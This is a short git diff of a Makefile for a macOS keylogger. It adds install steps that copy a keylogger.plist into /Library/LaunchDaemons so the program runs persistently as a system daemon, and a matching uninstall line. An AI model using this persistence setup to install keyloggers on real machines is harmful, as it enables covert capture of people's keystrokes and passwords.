diff --git a/Makefile b/Makefile index 5345805..8fb3a80 100644 --- a/Makefile +++ b/Makefile @@ -2,16 +2,20 @@ CC=gcc CFLAGS=-framework ApplicationServices -framework Carbon SOURCES=keylogger.c keylogger.h EXECUTABLE=keylogger +PLIST=keylogger.plist INSTALLDIR=/usr/local/bin all: $(SOURCES) $(CC) $(SOURCES) $(CFLAGS) -o $(EXECUTABLE) install: + mkdir -p $(INSTALLDIR) cp $(EXECUTABLE) $(INSTALLDIR) + cp $(PLIST) /Library/LaunchDaemons uninstall: rm $(INSTALLDIR)/$(EXECUTABLE) + rm /Library/LaunchDaemons/$(PLIST) clean: rm $(EXECUTABLE) \ No newline at end of file